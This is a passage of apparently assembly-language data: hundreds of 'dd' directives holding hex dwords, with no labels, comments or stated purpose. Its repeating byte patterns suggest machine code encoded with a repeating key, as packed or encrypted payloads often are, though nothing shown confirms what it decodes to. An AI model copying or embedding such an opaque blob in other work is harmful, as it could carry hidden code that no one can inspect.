6F852A85h, 6A7B5FDAh, 6BFB72DBh dd 4E7F796Ah, 756A6BF8h, 8B7FFEC4h, 0F1858584h, 6BFBE66Fh dd 7E90F96Ah, 720FAA43h, 933ABA4Bh, 7A7A7B89h, 6BF32B12h dd 0E0A4926Ah, 0C5758585h, 6BFB426Fh, 7890F96Ah, 0EFF72A28h dd 8585857Bh, 0B78B9228h, 0BEF98585h, 75B8F36Ah, 0FABE77C5h dd 56DB6A6Bh, 0F76A6BFBh, 858B7BF6h, 0B0437A7Ah, 0BA4B720Eh dd 7BD7933Ah, 3D127A7Ah, 926A6BF3h, 8585E0E2h, 0F8526FF1h dd 90F96A6Bh, 0F72A287Dh, 85857BEFh, 0D6922885h, 0F98585B7h dd 77F16ABEh, 6A6BFB8Eh, 8588BBFBh, 77797A7Ah, 6A6BFB0Ah dd 720EB243h, 933ABA4Bh, 7A7A7B11h, 8782FFBDh, 7A858585h dd 0FFF77A7Ah, 85858782h, 78FFF72Ah, 2A858584h, 8A3A6F85h dd 38126A7Ah, 926A6BF3h, 8585E042h, 78EFF72Ah, 28858584h dd 8A566F85h, 0E6DB6A7Ah, 0F96A6BFBh, 0F72A7992h, 85857BFFh dd 0FFF72A85h, 85858478h, 0B743922Ah, 0BEF98585h, 266FF162h dd 0FB6A6BFBh, 7A8581B8h, 0EAA437Ah, 3ABA4B72h, 7A7A8493h dd 626F857Ah, 0F36A7323h, 0F3A14BBCh, 7FC5758Dh, 6A6BFACEh dd 0FAEA7F79h, 92F96A6Bh, 7ECC7573h, 6FC5757Dh, 6A6BFBBEh dd 1E77C575h, 7B6A6BFBh, 7390F9B0h, 0FE75AA43h, 7A7A7ACBh dd 0B2F983F3h, 46FA3A85h, 830F7A7Bh, 878EFFF3h, 42128585h dd 926A6BF3h, 8585E3E6h, 0F17EBEF9h, 6BFAA66Fh, 566F796Ah dd 0F96A6BFBh, 2A287190h, 0B6D7922Dh, 0BEF98585h, 7A77F176h dd 0FB6A6BF8h, 7A8580BBh, 0EB2437Ah, 7A7BC17Dh, 1B917A7Ah dd 6BF35D12h, 0E324926Ah, 0C5758585h, 6BFB7E6Fh, 2A28386Ah dd 0B603922Dh, 0BEF98585h, 0F1B8F36Ah, 6BFACA77h, 89BBFB6Ah dd 757A7A85h, 0FB927FC5h, 0BB7B6A6Bh, 7F0EB043h, 9139A14Bh dd 7FC5755Eh, 6A6BF872h, 3A6FC575h, 7B6A6BF8h, 7292F9AAh dd 878EEFF1h, 807B8585h, 0AD7BBDF3h, 85855A93h, 6F852C85h dd 6A73333Eh, 7F0EA173h, 913ABA4Bh, 25BA4B78h, 0B9B32124h dd 1A9FF32Fh, 0C26A0FF1h, 6A7A281Ch, 7AC2FCF3h, 3FF17A7Ah dd 0BEFCF376h, 1B7A7A7Ah, 4B2796F3h, 2FB9B9BAh, 96FB9FF3h dd 7A7A7AEEh, 0F8FE47F9h, 0E7A6A6Bh, 3ABA4B7Fh, 0FFBD5591h dd 85858516h, 7A7A7AEEh, 8516FFF7h, 852A8585h, 6B15526Fh dd 6C7F96Ah, 78858585h, 7FBD700Fh, 6A6BF8FEh, 7A7A7A7Bh dd 6BF8FEDBh, 2DB9B36Ah, 6BF36012h, 0E200926Ah, 2A238585h dd 5FE26F85h, 1AD96A7Bh, 0DB6A6BF8h, 6A6BFB12h, 437892F9h dd 6BF81A7Fh, 126D0F6Ah, 6A6BF377h, 85E22992h, 852A2385h dd 7F48626Fh, 0F81AD96Ah, 84126A6Bh, 926A6BF2h, 8585E246h dd 4F852A23h, 6A6BF81Ah, 5BD66F85h, 5AD96A7Bh, 256A7348h dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7BD696FBh, 2C297A7Ah dd 7207F12Dh, 0BD7A7DBCh, 858417FFh, 7A7AEE85h, 17FFF77Ah dd 2A858584h, 15526F85h, 0C7F96A6Bh, 85858407h, 126F0F7Bh dd 6A6BF282h, 85ED9992h, 852D2A85h, 7A8A566Fh, 76BEF96Ah dd 8407C7F9h, 0F788585h, 0F288126Fh, 0BF926A6Bh, 2A8585EDh dd 526F852Dh, 0F96A7723h, 9C1276BEh, 926A6BF2h, 8585EDCAh dd 8403CF85h, 0CF858585h, 8585840Fh, 840BCF85h, 0F72A8585h dd 85857BE7h, 6F852985h, 6A772352h, 857BFFF7h, 2D2A8585h dd 8A566F85h, 0A5126A7Ah, 926A6BF2h, 8585ED02h, 0FB7267F1h dd 91F96A6Bh, 0C5752972h, 6BFA8667h, 0C667796Ah, 0F96A6BFAh dd 0F7297891h, 85841EE7h, 0E7F72985h, 8585841Eh, 1AE7F729h dd 29858584h, 7A7A8512h, 7BE7F77Ah, 29858585h, 7A6F852Ah dd 126A7323h, 6A6BF2ADh, 85ED5192h, 1ACF8585h, 2A858584h dd 857BE7F7h, 85298585h, 7723526Fh, 7BFFF76Ah, 2A858585h dd 566F852Dh, 126A7A8Ah, 7A7A7A85h, 857BFFF7h, 0DB2A8585h dd 6A6BFB0Ah, 3A6FC575h, 7B6A6BF8h, 7392F9AAh, 7E7A122Ah dd 6F857A7Ah, 6A7B5FD2h, 857BFFF7h, 2D2A8585h, 8A566F85h dd 0A8126A7Ah, 926A6BF2h, 8585ECB2h, 6F852D2Ah, 6A7A8A56h dd 8412FFBDh, 7A858585h, 0DF127A7Ah, 926A6BF2h, 8585ECD6h dd 8422FFF3h, 0E2128585h, 926A6BF2h, 8585ECE6h, 8426E7F7h dd 0F7298585h, 858412E7h, 0E7F72985h, 8585857Bh, 0E7F12A29h dd 85858422h, 7A781229h, 0EC92FA7Ah, 0F985858Ch, 0BCF30ABEh dd 0E27FC575h, 436A6BFBh, 0F7690FBCh, 85857BFFh, 852D2A85h dd 7A8A566Fh, 72BEF96Ah, 0FFBD0291h, 85858412h, 7A7A7A85h dd 6BF21212h, 0EC44926Ah, 0FFF38585h, 8585842Eh, 6BF22112h dd 0EC54926Ah, 0E7F78585h, 85858426h, 12E7F729h, 29858584h dd 857BE7F7h, 2A298585h, 842EE7F1h, 12298585h, 0FA7A7A78h dd 858C5292h, 5ABEF985h, 0C575BCF3h, 6BF86A7Fh, 6FC5756Ah dd 6A6BFBDEh, 92F9AA7Bh, 0FBC4370h, 7BFFF76Bh, 2A858585h dd 566F852Dh, 0F96A7A8Ah, 242572BEh, 29B9B321h, 4FC5752Ch dd 6A6BFB1Eh, 0FACA67F1h, 0B9FB6A6Bh, 147C4DC0h, 82CF66F3h dd 0F16A6B20h, 6BFAEA4Fh, 7DBCF96Ah, 7E67C575h, 7B6A6BFBh dd 67C575A4h, 6A6BFABEh, 3A6FC575h, 0F76A6BF8h, 0FD4C69E6h dd 66F36434h, 6B20BACFh, 0CA4FF16Ah, 0F96A6BFAh, 4F7978BCh dd 6A6BFA96h, 0FB2A67F1h, 0B9FB6A6Bh, 474F061Dh, 0BACF66F3h dd 756A6B20h, 0FB464FC5h, 4F796A6Bh, 6A6BFB8Eh, 0FB5A67F1h dd 0B9FB6A6Bh, 0FCE09209h, 0FB9E6779h, 66F36A6Bh, 6B20FACFh dd 4FC5756Ah, 6A6BFA82h, 0F8424F79h, 67F16A6Bh, 6A6BFA9Ah dd 45CB9FBh, 66F3C587h, 6B20CACFh, 0E677F16Ah, 0F96A6BFBh dd 68917993h, 0EA4FC575h, 0F96A6BFBh, 4EF37294h, 6B20FAF7h dd 0FEDB3B6Ah, 0F96A6BFBh, 7F7972BAh, 6A6BFBA2h, 0A608BB43h dd 0D277C575h, 0F16A6BFAh, 6BFB664Fh, 4BBCFB6Ah, 7948473Dh dd 6BFBFE4Fh, 0F74EF36Ah, 6A6B208Eh, 0BE77C575h, 0F16A6BFBh dd 6BFAA24Fh, 0D9BCFB6Ah, 792A286Fh, 6BF8564Fh, 0F74EF36Ah dd 6A6B20C2h, 0FBCA77F1h dd 0C5756A6Bh, 6BFB624Fh, 8BBCFB6Ah, 0F360CA2Bh, 20B6F74Eh dd 0C5756A6Bh, 6BFBBE77h, 4FC5756Ah, 6A6BFB42h, 4FF18B7Bh dd 6A6BFB9Eh, 0FFB2BCFBh, 4F795274h, 6A6BFAE2h, 0C2F74EF3h dd 756A6B20h, 0FB5277C5h, 4FF16A6Bh, 6A6BFB96h, 0B6A6BCFBh dd 4EF399F9h, 6B20A6F7h, 5E77F16Ah, 796A6BF8h, 6BFB1A77h dd 324FF16Ah, 0FB6A6BF8h, 10A7A0BCh, 0C24F79ADh, 0F36A6BFAh dd 20CAF74Eh, 77F16A6Bh, 6A6BFADAh, 624FC575h, 0F16A6BFBh dd 6BFADE67h, 64CEF76Ah, 6E827F73h, 96F74EF3h, 0F16A6B20h dd 6BFB0277h, 1A4FF16Ah, 0FB6A6BFBh, 5E3A01BCh, 0F74EF3B6h dd 6A6B20D2h, 0FB4E77F1h, 77796A6Bh, 6A6BFB96h, 0BCFBA4F3h dd 610D9BA3h, 0B667C575h, 7B6A6BFAh, 0F74EF3A4h, 6A6B20BAh dd 4277C575h, 0F16A6BFBh, 6BFB5E4Fh, 77BCF96Ah, 0FB124F79h dd 4EF36A6Bh, 6B200EF7h, 77C5756Ah, 6A6BF83Eh, 0DE4FC575h dd 0F16A6BFBh, 6BFBFE67h, 64CEF76Ah, 9B8D94E1h, 0DEF74EF3h dd 0F16A6B20h, 6BF84277h, 7CBBF96Ah, 0FA927779h, 4FF16A6Bh dd 6A6BFAAEh, 1E31BCFBh, 4F79A831h, 6A6BFBC6h, 0BAF74EF3h dd 246A6B20h, 7BC2B921h, 0B8FA7A3Ah, 0F32F7A72h, 292A2B9Fh dd 0FF12D2Ch, 7627F172h, 0F37A79BCh, 85B2F98Bh, 7B46FA3Ah dd 0F3830F7Ah, 0C575863Fh, 6BFB627Fh, 79BDF36Ah, 6BFB2647h dd 7695F96Ah, 0CC750A91h, 0BD436A3Fh, 7EF07108h, 0E554644h dd 0F54467Eh, 0F22F1265h, 6B926A6Bh, 758585E9h, 28446ECCh dd 832FF72Ah, 526F8528h, 0F96A7723h, 55916ABEh, 6BF22A12h dd 0E888926Ah, 292A8585h, 8A566F85h, 32126A7Ah, 926A6BF2h dd 8585E89Ah, 446ECC75h, 2FF72A28h, 6F852883h, 6A772352h dd 0F766BEF9h, 292A833Fh, 8A566F85h, 0BEF96A7Ah, 7413D72h dd 25F10886h, 0B9B32124h, 0FB9FF32Fh, 7A781696h, 0FFF72D7Ah dd 85858486h, 7FC5752Ah, 6A6BFA86h, 2A7892F9h, 6BFB26DBh dd 7E92F96Ah, 0DB66102Ah, 6A6BF85Eh, 0F8367F79h, 92F96A6Bh dd 6F852A70h, 6A7F507Ah, 87E3FFF7h, 922A8585h, 8585CE51h dd 1E607FF7h, 66D96A7Ah, 0F76A7723h, 7A3F4F7Fh, 200ED96Ah dd 7FF76A6Bh, 6A7A1E60h, 7F4B9AD9h, 4A7FF76Ah, 0D96A7A31h dd 6A7F4B8Ah, 6BF24F12h, 0E84C926Ah, 0C5758585h, 6BFB4647h dd 7E47796Ah, 0F96A6BF8h, 0F72D7F95h, 858486C7h, 122A2D85h dd 6A7B5ADAh, 23526F85h, 5C126A77h, 926A6BF2h, 8585E872h dd 0FB3A47F1h, 47796A6Bh, 6A6BFADEh, 2D7895F9h, 87E3C7F7h dd 0F72D8585h, 858486C7h, 122A2D85h, 6A73484Ah, 23526F85h dd 7FF76A77h, 6A7B5ADAh, 73325AD9h, 4A7FF76Ah, 0D96A7332h dd 6A7B75AEh, 37F07FF7h, 9ED96A7Ah, 926A7F53h, 85858199h dd 6BFB02DBh, 122A3A6Ah, 6A7F487Ah, 85CED392h, 0F2681285h dd 0E7926A6Bh, 0F18585EBh, 6BFB8E47h, 7995F96Ah, 86C7F72Dh dd 2D858584h, 324A122Ah, 6F856A73h, 6A772352h, 7B759A12h dd 832D926Ah, 85128585h, 926A6BFDh, 8585EB16h, 0FB3647F1h dd 0BDF96A6Bh, 0C7F72D7Eh, 85858486h, 3A122A2Dh, 856A734Eh dd 7723526Fh, 607FF76Ah, 0D96A7A1Eh, 6A7B7A6Eh, 4E3A7FF7h dd 66D96A73h, 0F76A7A8Ah, 6B230A7Fh, 0F8BED96Ah, 0BC126A6Bh dd 926A7A27h, 8585CBA6h, 7AAD8812h, 0CBA8926Ah, 41128585h dd 926A7AC3h, 8585CBB2h, 0E67FC575h, 796A6BFAh, 6BFB8E7Fh dd 7F92F96Ah, 7B5FAAD9h, 0F832DB6Ah, 7F796A6Bh, 6A6BFBBAh dd 2A7E92F9h, 8787FFF7h, 922A8585h, 7A7A7E6Dh, 0DB02BEF9h dd 6A6BFB16h, 0FAE27F79h, 0C6FA6A6Bh, 8587957Fh, 360F1E85h dd 84FFC475h, 0F1858587h, 6BFB126Fh, 6CB8F96Ah, 0BE77C575h dd 7B6A6BFBh, 0F2AA53B0h, 8587E2FFh, 7FC57585h, 6A6BF862h dd 7B5FAAD9h, 0FFCC756Ah, 858587E2h, 0FADEDB2Ah, 7F796A6Bh dd 6A6BFBB2h, 2A7592F9h, 85CC6292h, 72BEF985h, 7E7FC575h dd 796A6BFBh, 6BFB367Fh, 7FC6FA6Ah, 85858781h, 0DB3F0F1Dh dd 6A6BFB36h, 90F9B8F3h, 7FEEF278h, 8585847Fh, 8784FFF7h dd 852A8585h, 7B7A666Fh, 0EEFFF36Ah, 2A858587h, 6B230A12h dd 59B6926Ah, 0BEF97A7Ah, 0FA9ADB76h, 7F796A6Bh, 6A6BFAE2h dd 0D97592F9h, 6A7B5FAAh, 2FB9B325h, 96F99FF3h, 2D2C2932h dd 0F77227F1h, 6B20FA7Fh, 0C23FF36Ah, 3E7FC575h, 0F36A6BF8h dd 0C24779BDh, 0F96A6BFAh, 74917195h, 98AB80F3h, 176F11Ch dd 6F36F31Ch, 0C5753DBAh, 6BFB427Fh, 67BAF96Ah, 9E08BD43h dd 6BFBC6DBh, 7C92F96Ah, 85C63FF3h, 3FF1C63Fh, 7ACD75C2h dd 9C63F43h, 3FF72975h, 0FE922ABAh, 0F98585EFh, 999172BEh dd 0FAC24FF1h, 94F96A6Bh, 0F36B917Eh, 0F198AB88h, 0F11C7637h dd 1CBA6F2Eh, 3C0B6EF3h, 6BFB5ADBh, 62BAF96Ah, 9908BC43h dd 0B3212425h, 9FF32FB9h, 293696F9h, 0C5752D2Ch, 6BF8627Fh dd 0AE7F796Ah, 0F96A6BFBh, 3FF37292h, 0C2589186h, 7A7A7A4Ah dd 0F3861F8Dh, 0C5759A3Fh, 6BF83E7Fh, 7D92F96Ah, 0F39A2FF1h dd 4F2A6F7Eh, 3F856A73h, 0FACADB86h, 0BAF96A6Bh, 863F4325h dd 0C575AB08h, 6BFAAA7Fh, 7C92F96Ah, 0FE6F852Ah, 126A7B5Ah dd 6A6BF892h, 6BE0F212h, 0DB7D106Ah, 6A6BFBCAh, 2A7D92F9h dd 6BE3B212h, 0AE6F856Ah, 0F36A7B5Fh, 0F85ADBB9h, 92F96A6Bh dd 75B94378h, 7A7BD3FFh, 8E3FF77Ah, 0F892DB2Ah, 0F12A6A6Bh dd 662D8542h, 7EDBB9F3h, 0F96A6BF8h, 0B9437892h, 5ADB770Fh dd 0F96A6BF8h, 3F437892h, 937F0F8Eh, 7A7A7B7Bh, 0BE7FC575h dd 796A6BFAh, 6BFA927Fh, 7D92F96Ah, 93823FF3h, 7A7A7AA7h dd 0F3823FF1h, 0BD1CAA3Fh, 7A79B23Fh, 2ABE3FF7h, 0F9B20FF7h dd 9DF36A96h, 7A7A7EC3h, 0F1DF897Ah, 6BF89247h, 45F12D6Ah dd 0F35A2D85h, 0FA8ADBB9h, 7F796A6Bh, 6A6BFB16h, 437292F9h dd 0EDFF75B9h, 0F77A7A7Ah, 122ABA3Fh, 6A6BE0D2h, 2ABE3FF1h dd 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah, 6A6BF856h, 0FAA27F79h dd 92F96A6Bh, 0FB94377h, 9E7FF71Eh, 0F36A6BF8h, 0F12AA63Fh dd 7E2C854Ah, 2AC63FF7h, 6BE39212h, 0A63FF16Ah, 8542F12Ah dd 7A7A476Eh, 0B9F37A7Ah, 0FAC66741h, 590F6A6Bh, 2AC23FF7h dd 6BE39212h, 0C60F856Ah, 92BA0F85h, 8585C037h, 0F36ABEF9h dd 3FF1CE3Fh, 4AF12AC6h, 0F1722C85h, 0F12AA63Fh, 722C854Ah dd 2ABA3FF1h, 2C854AF1h, 0BE3FF172h, 854AF12Ah, 3F85722Ch dd 8E3FF182h, 75823F43h, 85856DF8h, 727FF785h, 0F36A6BF9h dd 0F12A8A3Fh, 7E2C854Ah, 2A963FF7h, 6BE3A212h, 8A3FF16Ah dd 854AF12Ah, 7A7A4F6Eh, 3FF17A7Ah, 4AF12A8Ah, 0F7722C85h dd 122A9E3Fh, 6A6BE3A2h, 85960F85h, 6BF8924Fh, 0C3B5926Ah dd 0BEF98585h, 923FF36Ah, 6BFB82DBh, 6FC5756Ah, 6A6BFBE2h dd 92F9AA7Bh, 923F437Eh, 92DB620Fh, 2A6A6BF8h, 2C854AF1h dd 0FB36DB72h, 92F96A6Bh, 0F892D978h, 24256A6Bh, 2FB9B321h dd 96FB9FF3h, 7A7A7B7Eh, 86FFF72Dh, 2A858584h, 867FC575h dd 0F96A6BFAh, 0DB2A7892h, 6A6BF85Eh, 0EE6FC575h, 7B6A6BFAh dd 7992F9AAh, 720F852Ah, 6BFB5ADBh, 7292F96Ah, 7A6F852Ah dd 0F36A7F50h, 0F8573BDh, 0FD801251h, 8F926A6Bh, 2A8585F6h dd 8486C7F7h, 852D8585h, 7A8A566Fh, 107B106Ah, 86FFF739h dd 2A858584h, 85B32092h, 62BEF985h, 0C2B9B325h, 0FA7A3A7Bh dd 2F7A62B8h, 292B9FF3h, 0FF12D2Ch, 107A1072h, 1079107Ah dd 127A107Ah, 0FA7A7A7Ah dd 73484A12h, 626F856Ah, 0F36A6B11h, 8585F9BDh, 0A2DB650Fh dd 0F96A6BFAh, 6FF17C92h, 6A6BFADAh, 0FBC66F79h, 90F96A6Bh dd 7C6EF273h, 7A7AF393h, 757A107Ah, 0FBB67FC5h, 92F96A6Bh dd 0F852A73h, 6F852D76h, 6A6B154Ah, 6BFBFEDBh, 6FC5756Ah dd 6A6BFACEh, 92F9AA7Bh, 3FF72A73h, 0C5752A86h, 6BFB327Fh dd 6FC5756Ah, 6A6BFB3Eh, 756A3EF7h, 852D2C2Ah, 7A8A4E6Fh dd 2DB9F36Ah, 33326F85h, 0C5756A73h, 6BFB527Fh, 6FC5756Ah dd 6A6BFB62h, 92F9AA7Bh, 0FB94377h, 0FAD6DB5Bh, 7F796A6Bh dd 6A6BFB9Eh, 757192F9h, 0FABE6FC5h, 6F796A6Bh, 6A6BFACAh dd 0F27190F9h, 24257C6Eh, 2FB9B321h, 0F2C29FF3h, 927A7B7Ah dd 7A7A4CDBh, 122D2C29h, 6A6BFD96h, 85C5DF92h, 852A2385h dd 7B7A766Fh, 0B23FF36Ah, 0BA3FBD1Ch, 3FF77A72h, 0FF72AAEh dd 6A96F9BAh, 7EC39DF3h, 897A7A7Ah, 7607F1DFh, 8545F12Dh dd 0B9F34A2Dh, 6BFBF2DBh, 7F92F96Ah, 7D0EB943h, 7093BA4Bh dd 0F77A7A7Dh, 122AA63Fh, 6A6BE042h, 2AAE3FF1h, 6E8542F1h dd 7A7A7A47h, 0DBB9F37Ah, 6A6BFA96h, 75B94332h, 7A7CA3FFh dd 0A23FF77Ah, 0A63FF12Ah, 8542F12Ah, 0B9F35E2Dh, 6BFA9ADBh dd 7C92F96Ah, 0FF75B943h, 7A7A7CCBh, 6BFB22DBh, 7992F96Ah dd 939E3FF3h, 7A7A7CEFh, 0F39E3FF1h, 0BD1C8A3Fh, 7A78923Fh dd 2A863FF7h, 0F9920FF7h, 9DF36A96h, 7A7A7EC3h, 0F7DF897Ah dd 96F9920Fh, 0C39DF36Ah, 7A7A7A7Eh, 7F1DF89h, 45F12DA6h dd 0F3562D85h, 0FB22DBB9h, 92F96A6Bh, 75B94379h, 7A7C33FFh dd 0F87EDB7Ah, 0C5756A6Bh, 6BFAB66Fh, 0F9AA7B6Ah, 0FFF37992h dd 858485C6h, 85C6FFF7h, 122A8584h, 6A6BE032h, 2A863FF1h dd 6E8542F1h, 7A7A7A47h, 75B9F37Ah, 0FB467FC5h, 92F96A6Bh dd 75B94373h, 7A7FABFFh, 0C6C7F97Ah, 7A858485h, 7FBEFE75h dd 3FF77A7Ah, 0FFF12A9Ah, 858485C6h, 8542F12Ah, 7A7A82EDh dd 73B9F37Ah, 0DDFF75A1h, 0F77A7A7Fh, 8485BBFFh, 0F852A85h dd 0E1FB929Ah, 56DB8585h, 0F96A6BFBh, 122A7D92h, 6A7F487Ah dd 85BBFFF7h, 922A8584h, 8585C7F1h, 0F16EBEF9h, 6BF87647h dd 81BDFB6Ah, 797A7A85h, 6BF84247h, 7582436Ah, 7A7F1BFEh dd 7FC5757Ah, 6A6BFB92h, 437C92F9h, 670F6A3Fh, 85C6FFF1h dd 0F12A8584h, 722C854Ah, 2A863FF1h, 2C854AF1h, 3ABA4B72h dd 7A7FF693h, 7FC5757Ah, 6A6BFBEEh, 0FBB27F79h, 92F96A6Bh dd 0FEFFF373h, 0F7858485h, 8485FEFFh, 12122A85h, 0F16A6BE0h dd 0F12A863Fh, 476E8542h, 7A7A7A7Ah, 0C575B9F3h, 6BFA827Fh dd 7F92F96Ah, 0FF75B943h, 7A7A7E88h, 85D1FFBCh, 123E8584h dd 6A6BFD98h, 85F3B992h, 47C57585h, 6A6BF862h, 524FC575h dd 7B6A6BFBh, 7E95F98Dh, 0C7F72A2Dh, 858485BBh, 0C6B7922Dh dd 0BEF98585h, 4FC5756Ah, 6A6BFBEAh, 858DBCFBh, 8A437A7Ah dd 0FFBC7D0Eh, 858485D1h, 0FDA0122Ah, 7926A6Bh, 758585F3h dd 0F87247C5h, 2A2D6A6Bh, 85BBC7F7h, 922D8584h, 8585C6E9h dd 0F16ABEF9h, 6BFABA4Fh, 87BCFB6Ah, 437A7A85h, 0BC7D0E8Ah dd 8485D1FFh, 0A8123985h, 926A6BFDh, 8585F33Eh, 0FA9647F1h dd 47796A6Bh, 6A6BFB66h, 2D7895F9h, 0BBC7F72Ah, 2D858485h dd 85C62892h, 6ABEF985h, 0FBCA4FF1h, 94F96A6Bh, 7BBDF379h dd 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h, 0FA858485h dd 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h, 0CAFFF192h dd 0F1858485h, 6BFADE6Fh, 7D90F96Ah, 0BB7FEEF2h, 0F1858485h dd 8485E6FFh, 7FFEF785h, 858485BBh, 666F852Ah, 0F36A7B7Ah dd 8485FAFFh, 0FDB11285h, 0C3926A6Bh, 758585F2h, 0F83E47C5h dd 47796A6Bh, 6A6BFBFAh, 2D7C95F9h, 0BBC7F72Ah, 2D858485h dd 85C1BC92h, 6EBEF985h, 0FB0A4FF1h, 4F796A6Bh, 6A6BFBFAh dd 7BBDF334h, 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h dd 0FA858485h, 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h dd 0CAFFF192h, 0F1858485h, 6BFB0E6Fh, 7D90F96Ah, 0BB7FEEF2h dd 0F1858485h, 8485E6FFh, 7FFEF785h, 858485BBh, 666F852Ah dd 236A7B7Ah, 85DEFFF3h, 4EDB8584h, 796A6BF8h, 6BF8767Fh dd 7692F96Ah, 85FAFF43h, 0D8584h, 6BFAC6DBh, 0C2FFF36Ah dd 91858485h, 0C2C7F12Bh, 0F3858485h, 789CBB84h, 526FC575h dd 0F96A6BFBh, 6E437F90h, 7B6A9A4Fh, 0F1570E6Ah, 8485DEEFh dd 4F6E4385h, 6A7B7A5Ah, 6EF0640Fh, 7B5BCA47h, 0D1EF406Ah dd 0F858485h, 4FC57575h, 6A6BF872h, 0C74EF334h, 6A7B6A9Ah dd 85C2FF85h, 0C5758584h, 6BFAD27Fh, 866FF16Ah, 0F76A6BFBh dd 79926AFEh, 0FF437A7Ah, 858485C2h, 6F85E908h, 6A6B200Ah dd 85DAFFF3h, 96DB8584h, 756A6BFBh, 0FBBE6FC5h, 0AA7B6A6Bh dd 0F37192F9h, 8485CEFFh, 0F1109185h, 8485CEC7h, 789DBB85h dd 1E4FC575h, 346A6BFBh, 9A474E43h, 0E6A7B6Ah, 4746F130h dd 6A73332Ah, 0FBA64FF1h, 0BCFB6A6Bh, 7A7A901Ah, 0FABA6FF1h dd 79386A6Bh, 6BFBD66Fh, 88D5756Ah, 0C7418D7Bh, 858485DAh dd 0C7F16709h, 858485CEh, 0EE4FC575h, 796A6BFBh, 6BFAA64Fh dd 7F94F96Ah, 9AC74EF3h, 856A7B6Ah, 8485CEFFh, 0FAA6DB85h dd 0A57F6A6Bh, 797A7A79h, 6BFAAE7Fh, 0CEFF436Ah, 75858485h dd 858500F8h, 0F87ADB85h, 7F796A6Bh, 6A6BFB86h, 0F37F92F9h dd 8485D6FFh, 0F15E9185h, 8485D6C7h, 664FF185h, 796A6BFBh dd 6BFBCE4Fh, 7C94F96Ah, 9AC74E43h, 0E6A7B6Ah, 0D6FF855Bh dd 0DB858485h, 6A6BFB36h, 7A79A77Fh, 6FC5757Ah, 6A6BFB46h dd 0FF43AA7Bh, 858485D6h, 0C7F1BB08h, 858485D6h, 85DECFF1h dd 4EF38584h, 7B7A5AC7h, 720FF16Ah, 1AC74EF3h, 0F36A7A8Ah dd 0D1EFF082h, 0F2858485h, 5BCA7F6Eh, 0C5756A7Bh, 6BFBD27Fh dd 0E67F796Ah, 0F96A6BFBh, 0FF437E92h, 858485FAh, 7AB8FC75h dd 4FF17A7Ah, 6A6BFB96h, 8586BCFBh, 0C5757A7Ah, 6BF8626Fh dd 1CAC7B6Ah, 6A074EF3h, 0DB6A7F50h, 6A6BFB2Eh, 0F85A7F79h dd 92F96A6Bh, 2FFF370h, 91858485h, 2C7F10Dh, 0F3858485h dd 789CBB84h, 0FB2E6FF1h, 0C5756A6Bh, 6BFBEA77h, 0F9B07B6Ah dd 6E436A90h, 7B6A9A4Fh, 75310E6Ah, 6A076ECDh, 0F16A7F50h dd 6BFB0277h, 8CBBFB6Ah, 757A7A85h, 0FBD27FC5h, 0BB7B6A6Bh dd 500EB043h, 85DEEFF1h, 6E438584h, 7B7A5A4Fh, 0F0610F6Ah dd 5BCA476Eh, 0EF406A7Bh, 858485D1h, 46F7760Fh, 7F506A07h dd 7D851C6Ah, 0FF854191h, 85848502h, 6BFAC2DBh, 799E7F6Ah dd 0FF437A7Ah, 85848502h, 8509F875h, 67918585h, 85D6C7F1h dd 4FF18584h, 6A6BFBC6h, 0FBF24F79h, 94F96A6Bh, 4EF31C70h dd 7F506A07h, 0A6F856Ah, 0F16A6B20h, 8485D6C7h, 0C77EF385h dd 6A73332Ah, 0F8D24FF7h, 4EF36A6Bh, 7B6A9AC7h, 0D6C7F16Ah dd 0F7858485h, 6A9AC746h, 0C7F36A7Bh, 85848506h, 0F12A82F3h dd 7E2C854Ah, 85D6C7F1h, 46F78584h, 7B6A9AC7h, 0EAC7F36Ah dd 1C858485h, 85F2FFBDh, 7A738584h, 85F2CFF7h, 96F98584h dd 0C39DF36Ah, 7A7A7A7Eh, 0C7F1DF89h, 858485FEh, 8545F12Dh dd 7A7ADEEDh, 0F7B9F37Ah, 8485F2FFh, 6F852A85h, 6A6B0A3Eh dd 85D6FF85h, 0FFF18584h, 858485FEh, 854AF12Ah, 0DADB722Ch dd 0F96A6BFBh, 0FF437292h, 858485C6h, 0FFF1760Eh, 858485C6h dd 854AF12Ah, 0C575722Ch, 6BF83A7Fh, 7292F96Ah, 0E863F43h dd 863FF173h, 854AF12Ah dd 3F85722Ch, 0A23FF19Eh, 759E3F43h, 858325F8h, 0A63FF185h dd 854AF12Ah, 3FF1722Ch, 4AF12AAEh, 4B722C85h, 212425BAh dd 0F32FB9B3h, 2E96FB9Fh, 297A7A78h, 0FFF72D2Ch, 85858496h dd 7FC5752Ah, 6A6BFBBEh, 2A7292F9h, 6BFB2EDBh, 7292F96Ah dd 755B102Ah, 0FB1E7FC5h, 2A326A6Bh, 507A6F85h, 0B9F36A7Fh dd 0FF75A173h, 7A7A7B6Fh, 2A8A3FF7h, 4E4A6F85h, 0A6DB6A73h dd 756A6BFAh, 75802FCDh, 0F18237CDh, 6BFBC667h, 4CB9F96Ah dd 7BB1D575h, 37CD75B0h, 67C5758Ch, 6A6BFB3Eh, 0FA924FF1h dd 26F76A6Bh, 0D5756949h, 67C575B1h, 6A6BF83Ah, 754EB9F9h dd 0B07BB1D5h, 8837CD75h, 6267C575h, 0F16A6BFBh, 6BFBAA4Fh dd 4926F76Ah, 0B1D57575h, 0FB3667F1h, 0B9F96A6Bh, 4FC5756Fh dd 6A6BFB32h, 0D575897Bh, 67C575B1h, 6A6BFB46h, 0FB5E4FF1h dd 26F76A6Bh, 0D5754B49h, 75B07BB1h, 0F18A37CDh, 6BFAA667h dd 72B9F96Ah, 0F1B1D575h, 6BFBF267h, 6BB9F96Ah, 0FB2E6779h dd 0D5756A6Bh, 67C575B1h, 6A6BFA82h, 75793EF7h, 0DBB2D575h dd 6A6BFBC2h, 794EBAF9h, 6BFB2A7Fh, 0B2D5756Ah, 0B27BAAF3h dd 7A8A4AD9h, 0F856DB6Ah, 7F796A6Bh, 6A6BFBFAh, 0F37C92F9h dd 8587B0FFh, 0D4CFF785h, 0FB858587h, 7A7B3A96h, 0C39DF37Ah dd 7A7A7AE5h, 0F7DF1C89h, 858496C7h, 0B8922D85h, 0FB8585ECh dd 7A7B3EBEh, 2124257Ah, 0F32FB9B3h, 6A7AC29Fh, 0A0927A7Ah dd 297A7A57h, 